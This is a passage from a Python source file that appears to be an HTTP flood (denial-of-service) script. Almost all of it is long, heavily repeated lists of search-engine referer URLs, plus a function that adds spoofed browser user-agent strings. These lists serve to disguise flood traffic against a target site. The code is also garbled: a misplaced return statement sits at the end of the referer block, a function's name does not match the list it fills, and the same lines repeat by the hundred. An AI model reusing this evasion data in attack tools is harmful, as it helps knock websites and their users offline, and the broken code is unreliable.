  3519.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3520.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3521.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3522.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3523.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3524.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3525.     headers_referers.append('http://www.ask.com/web?q=')
  3526.     headers_referers.append('http://search.lycos.com/web/?q=')
  3527.     headers_referers.append('http://busca.uol.com.br/web/?q=')
  3528.     headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
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  3535.     headers_referers.append('http://www.sogou.com/web?query=')
  3536.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3537.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3538.     headers_referers.append('http://www.google.com/?q=')
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  3540.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3541.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3542.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3543.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3544.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3545.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3546.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3547.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3548.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3549.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3550.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3551.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3552.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3553.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3554.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3555.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3556.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3557.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3558.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3559.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3560.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3561.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3562.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3563.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3564.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3565.     headers_referers.append('http://www.ask.com/web?q=')
  3566.     headers_referers.append('http://search.lycos.com/web/?q=')
  3567.     headers_referers.append('http://busca.uol.com.br/web/?q=')
  3568.     headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
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  3575.     headers_referers.append('http://www.sogou.com/web?query=')
  3576.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3577.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3578.     headers_referers.append('http://www.google.com/?q=')
  3579.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3580.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3581.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3582.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3583.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3584.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3585.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
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  3598.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3599.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3600.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
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  3603.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3604.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3605.     headers_referers.append('http://www.ask.com/web?q=')
  3606.     headers_referers.append('http://search.lycos.com/web/?q=')
  3607.     headers_referers.append('http://busca.uol.com.br/web/?q=')
  3608.     headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
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  3615.     headers_referers.append('http://www.sogou.com/web?query=')
  3616.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3617.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3618.     headers_referers.append('http://www.google.com/?q=')
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  3621.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3622.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3623.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3624.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3625.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
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  3627.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
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  3639.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
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  3644.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3645.     headers_referers.append('http://www.ask.com/web?q=')
  3646.     headers_referers.append('http://search.lycos.com/web/?q=')
  3647.     headers_referers.append('http://busca.uol.com.br/web/?q=')
  3648.     headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
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  3654.     headers_referers.append('http://find.ezilon.com/search.php?q=')
  3655.     headers_referers.append('http://www.sogou.com/web?query=')
  3656.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3657.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3658.     headers_referers.append('http://www.google.com/?q=')
  3659.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3660.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3661.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3662.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3663.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3664.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3665.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3666.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3667.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
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  3670.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3671.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3672.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3673.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3674.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3675.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3676.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3677.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3678.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3679.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3680.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3681.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3682.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3683.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3684.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3685.     headers_referers.append('http://www.ask.com/web?q=')
  3686.     headers_referers.append('http://search.lycos.com/web/?q=')
  3687.     headers_referers.append('http://busca.uol.com.br/web/?q=')
  3688.     headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
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  3690.     headers_referers.append('http://www.baidu.com.br/s?usm=1&rn=100&wd=')
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  3692.     headers_referers.append('http://www.zhongsou.com/third?w=')
  3693.     headers_referers.append('http://hksearch.timway.com/search.php?query=')
  3694.     headers_referers.append('http://find.ezilon.com/search.php?q=')
  3695.     headers_referers.append('http://www.sogou.com/web?query=')
  3696.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3697.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3698.     headers_referers.append('http://www.google.com/?q=')
  3699.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3700.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3701.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3702.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3703.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3704.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3705.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3706.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3707.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3708.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3709.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3710.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3711.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3712.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3713.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3714.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3715.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3716.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3717.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3718.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3719.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3720.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3721.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3722.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3723.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3724.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3725.     headers_referers.append('http://www.ask.com/web?q=')
  3726.     headers_referers.append('http://search.lycos.com/web/?q=')
  3727.     headers_referers.append('http://busca.uol.com.br/web/?q=')
  3728.     headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
  3729.     headers_referers.append('http://www.dmoz.org/search/search?q=')
  3730.     headers_referers.append('http://www.baidu.com.br/s?usm=1&rn=100&wd=')
  3731.     headers_referers.append('http://yandex.ru/yandsearch?text=')
  3732.     headers_referers.append('http://www.zhongsou.com/third?w=')
  3733.     headers_referers.append('http://hksearch.timway.com/search.php?query=')
  3734.     headers_referers.append('http://find.ezilon.com/search.php?q=')
  3735.     headers_referers.append('http://www.sogou.com/web?query=')
  3736.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3737.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3738.     headers_referers.append('http://www.google.com/?q=')
  3739.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3740.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3741.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3742.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3743.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3744.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3745.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3746.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3747.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3748.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3749.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3750.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3751.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3752.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3753.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3754.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3755.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3756.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3757.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3758.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3759.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3760.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3761.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3762.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3763.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3764.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3765.     headers_referers.append('http://www.ask.com/web?q=')
  3766.     headers_referers.append('http://search.lycos.com/web/?q=')
  3767.     headers_referers.append('http://busca.uol.com.br/web/?q=')
  3768.     headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
  3769.     headers_referers.append('http://www.dmoz.org/search/search?q=')
  3770.     headers_referers.append('http://www.baidu.com.br/s?usm=1&rn=100&wd=')
  3771.     headers_referers.append('http://yandex.ru/yandsearch?text=')
  3772.     headers_referers.append('http://www.zhongsou.com/third?w=')
  3773.     headers_referers.append('http://hksearch.timway.com/search.php?query=')
  3774.     headers_referers.append('http://find.ezilon.com/search.php?q=')
  3775.     headers_referers.append('http://www.sogou.com/web?query=')
  3776.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3777.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3778.     headers_referers.append('http://www.google.com/?q=')
  3779.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3780.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3781.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3782.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3783.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3784.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3785.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3786.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3787.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3788.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3789.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3790.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3791.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3792.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3793.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3794.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3795.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3796.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3797.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3798.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3799.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3800.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3801.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3802.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3803.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3804.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3805.     headers_referers.append('http://www.ask.com/web?q=')
  3806.     headers_referers.append('http://search.lycos.com/web/?q=')
  3807.     headers_referers.append('http://busca.uol.com.br/web/?q=')
  3808.     headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
  3809.     headers_referers.append('http://www.dmoz.org/search/search?q=')
  3810.     headers_referers.append('http://www.baidu.com.br/s?usm=1&rn=100&wd=')
  3811.     headers_referers.append('http://yandex.ru/yandsearch?text=')
  3812.     headers_referers.append('http://www.zhongsou.com/third?w=')
  3813.     headers_referers.append('http://hksearch.timway.com/search.php?query=')
  3814.     headers_referers.append('http://find.ezilon.com/search.php?q=')
  3815.     headers_referers.append('http://www.sogou.com/web?query=')
  3816.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3817.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3818.     headers_referers.append('http://www.google.com/?q=')
  3819.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3820.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3821.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3822.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3823.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3824.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3825.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3826.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3827.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3828.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3829.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3830.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3831.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3832.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3833.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3834.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3835.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3836.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3837.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3838.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3839.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3840.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3841.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3842.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3843.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3844.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3845.     headers_referers.append('http://www.ask.com/web?q=')
  3846.     headers_referers.append('http://search.lycos.com/web/?q=')
  3847.     headers_referers.append('http://busca.uol.com.br/web/?q=')
  3848.     headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
  3849.     headers_referers.append('http://www.dmoz.org/search/search?q=')
  3850.     headers_referers.append('http://www.baidu.com.br/s?usm=1&rn=100&wd=')
  3851.     headers_referers.append('http://yandex.ru/yandsearch?text=')
  3852.     headers_referers.append('http://www.zhongsou.com/third?w=')
  3853.     headers_referers.append('http://hksearch.timway.com/search.php?query=')
  3854.     headers_referers.append('http://find.ezilon.com/search.php?q=')
  3855.     headers_referers.append('http://www.sogou.com/web?query=')
  3856.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3857.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3858.     headers_referers.append('http://www.google.com/?q=')
  3859.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3860.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3861.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3862.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3863.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3864.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3865.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3866.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3867.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3868.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3869.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3870.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3871.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3872.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3873.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3874.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3875.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3876.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3877.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3878.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3879.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3880.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3881.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3882.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3883.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3884.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3885.     headers_referers.append('http://www.ask.com/web?q=')
  3886.     headers_referers.append('http://search.lycos.com/web/?q=')
  3887.     headers_referers.append('http://busca.uol.com.br/web/?q=')
  3888.     headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
  3889.     headers_referers.append('http://www.dmoz.org/search/search?q=')
  3890.     headers_referers.append('http://www.baidu.com.br/s?usm=1&rn=100&wd=')
  3891.     headers_referers.append('http://yandex.ru/yandsearch?text=')
  3892.     headers_referers.append('http://www.zhongsou.com/third?w=')
  3893.     headers_referers.append('http://hksearch.timway.com/search.php?query=')
  3894.     headers_referers.append('http://find.ezilon.com/search.php?q=')
  3895.     headers_referers.append('http://www.sogou.com/web?query=')
  3896.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3897.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3898.     headers_referers.append('http://www.google.com/?q=')
  3899.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3900.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3901.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3902.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3903.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3904.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3905.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3906.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3907.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3908.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3909.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3910.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3911.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3912.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3913.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3914.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3915.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3916.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3917.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3918.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3919.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3920.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3921.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3922.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3923.     headers_referers.append('http://api.duckduckgo.com/html/?q=')
  3924.     headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
  3925.         return(headers_useragents)
  3926.  
  3927. # generates a referer array
  3928. def referer_list():
  3929.     global headers_referers
  3930.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  3931.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  3932.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3933.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  3934.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  3935.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  3936.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  3937.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  3938.     headers_referers.append('http://www.google.com/?q=')
  3939.     headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..')
  3940.     headers_referers.append('http://vk.com/profile.php?redirect=')
  3941.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  3942.     headers_referers.append('http://engadget.search.aol.com/search?q=query?=query=..')
  3943.     headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882')
  3944.     headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925')
  3945.     headers_referers.append('http://yandex.ru/yandsearch?text=')
  3946.     headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832')
  3947.     headers_referers.append('http://go.mail.ru/search?mail.ru=1&q=')
  3948.     headers_referers.append('http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..')
  3949.     headers_referers.append('http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..')
  3950.     headers_referers.append('http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..')
  3951.     headers_referers.append('http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..')
  3952.     headers_referers.append('http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..')
  3953.     headers_referers.append('/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882')
  3954.     headers_referers.append('http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..')
  3955.     headers_referers.append('http://www.google.ru/url?sa=t&rct=?j&q=&e..')
  3956.     headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  3957.     headers_referers.append('http://www.bing.com/search?q=')
  3958.     headers_referers.append('https://www.yandex.com/yandsearch?text=')
  3959.     headers_referers.append('https://duckduckgo.com/?q=')
  3960.     headers_referers.append('http://www.ask.com/web?q=')
  3961.     headers_referers.append('http://search.aol.com/aol/search?q=')
  3962.     headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=')
  3963.     headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  3964.     headers_referers.append('http://validator.w3.org/feed/check.cgi?url=')
  3965.     headers_referers.append('http://host-tracker.com/check_page/?furl=')
  3966.     headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=')
  3967.     headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=')
  3968.     headers_referers.append('https://add.my.yahoo.com/rss?url=')
  3969.     headers_referers.append('http://www.google.com/?q=')
  3970.     headers_referers.append('http://www.google.com/?q=')
  3971.     headers_referers.append('http://www.google.com/?q=')
  3972.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  3973.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  3974.     headers_referers.append('https://steamcommunity.com/market/search?q=')
  3975.     headers_referers.append('http://filehippo.com/search?q=')
  3976.     headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  3977.     headers_referers.append('http://eu.battle.net/wow/en/search?q=')
